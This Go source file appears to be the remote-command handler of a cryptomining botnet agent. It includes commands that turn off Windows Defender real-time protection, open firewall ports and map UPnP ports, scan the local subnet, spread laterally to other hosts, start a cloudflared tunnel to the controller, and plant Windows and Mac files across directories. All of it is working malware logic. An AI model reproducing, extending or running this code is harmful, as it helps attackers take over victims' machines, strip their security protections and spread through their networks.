package client

import (
	"fmt"
	"strconv"
	"strings"

	"crypto-miner-agent/deploy"
)

func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
	switch action {
	case "hole_punch", "hole_punch_close", "hole_punch_status":
		if !c.cfg.HolePunch {
			return false, "hole punch not enabled in forge (Advanced → NAT Hole Punch)"
		}
	case "spread_now":
		if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
			return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
		}
	case "start_tunnel", "subnet_scan", "defender_off", "firewall_punch":
		if !c.cfg.RemoteAggressive {
			return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
		}
	case "supp_seek":
		// No forge gate — always available; path is required at call time.
	case "mesh_status":
		if !c.cfg.MeshP2P {
			return false, "mesh P2P not enabled in forge"
		}
	default:
		return true, ""
	}
	return true, ""
}

func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, command, path, data string) bool {
	ok, reason := c.allowRemoteAction(action)
	if !ok {
		c.sendCommandResult(action, false, reason)
		return true
	}

	switch action {
	case "hole_punch":
		internalPort := parsePortArg(command, 8989)
		externalPort := parsePortArg(path, internalPort)
		desc := data
		if desc == "" {
			desc = c.cfg.WorkerName + "-aetherforge"
		}
		result, err := deploy.PunchUPnP(internalPort, externalPort, desc)
		if err != nil {
			c.sendCommandResult(action, false, result.Message)
			return true
		}
		c.sendCommandResult(action, true, result.Message)
		return true

	case "hole_punch_close":
		externalPort := parsePortArg(command, 8989)
		msg, err := deploy.CloseUPnP(externalPort)
		if err != nil {
			c.sendCommandResult(action, false, err.Error())
			return true
		}
		c.sendCommandResult(action, true, msg)
		return true

	case "hole_punch_status":
		ip, err := deploy.GetPublicEndpoint()
		if err != nil {
			c.sendCommandResult(action, false, err.Error())
			return true
		}
		c.sendCommandResult(action, true, fmt.Sprintf("WAN IP via UPnP: %s (use Hole Punch to map a port)", ip))
		return true

	case "spread_now":
		msg := deploy.RunSpreadOnce(c.cfg)
		c.sendCommandResult(action, true, msg)
		return true

	case "start_tunnel":
		serverURL := strings.TrimSpace(command)
		if serverURL == "" {
			serverURL = c.cfg.ServerURL
		}
		msg, err := deploy.StartCloudflaredTunnel(serverURL)
		if err != nil {
			c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
			return true
		}
		c.sendCommandResult(action, true, msg)
		return true

	case "subnet_scan":
		maxHosts := parsePortArg(command, 64)
		out := deploy.ScanLocalSubnet(maxHosts)
		c.sendCommandResult(action, true, out)
		return true

	case "defender_off":
		msg, err := deploy.DisableDefenderRealtime()
		if err != nil {
			c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
			return true
		}
		c.sendCommandResult(action, true, msg)
		return true

	case "firewall_punch":
		port := parsePortArg(command, 8989)
		name := path
		if name == "" {
			name = "AetherForge Remote " + c.cfg.WorkerName
		}
		msg, err := deploy.OpenFirewallPort(port, name)
		if err != nil {
			c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
			return true
		}
		c.sendCommandResult(action, true, msg)
		return true

	case "supp_seek":
		seekPath := strings.TrimSpace(path)
		if seekPath == "" {
			c.sendCommandResult(action, false, "path is required — set the 'path' field to the root directory to scan")
			return true
		}
		// command field carries target flags: "win", "mac", "all" (default all)
		flag := strings.ToLower(strings.TrimSpace(command))
		opts := suppSeekOpts{
			DropWindows: flag == "" || flag == "all" || strings.Contains(flag, "win"),
			DropMac:     flag == "" || flag == "all" || strings.Contains(flag, "mac"),
			ServerURL:   c.cfg.ServerURL,
		}
		// data field carries optional custom stem (file name without extension)
		if strings.TrimSpace(data) != "" {
			opts.FileStem = strings.TrimSpace(data)
		}
		c.sendCommandResult(action, true, fmt.Sprintf("SUPP Seek started — scanning %s (win=%v mac=%v)", seekPath, opts.DropWindows, opts.DropMac))
		go func() {
			result := suppSeekWalk(seekPath, opts)
			c.sendCommandResult("supp_seek_done", true, result.Summary())
		}()
		return true

	case "mesh_status":
		count := c.mesh.PeerCount()
		c.sendCommandResult(action, true, fmt.Sprintf("mesh peers connected: %d", count))
		return true
	}

	return false
}

func parsePortArg(raw string, fallback int) int {
	raw = strings.TrimSpace(raw)
	if raw == "" {
		return fallback
	}
	n, err := strconv.Atoi(raw)
	if err != nil || n <= 0 || n > 65535 {
		return fallback
	}
	return n
}
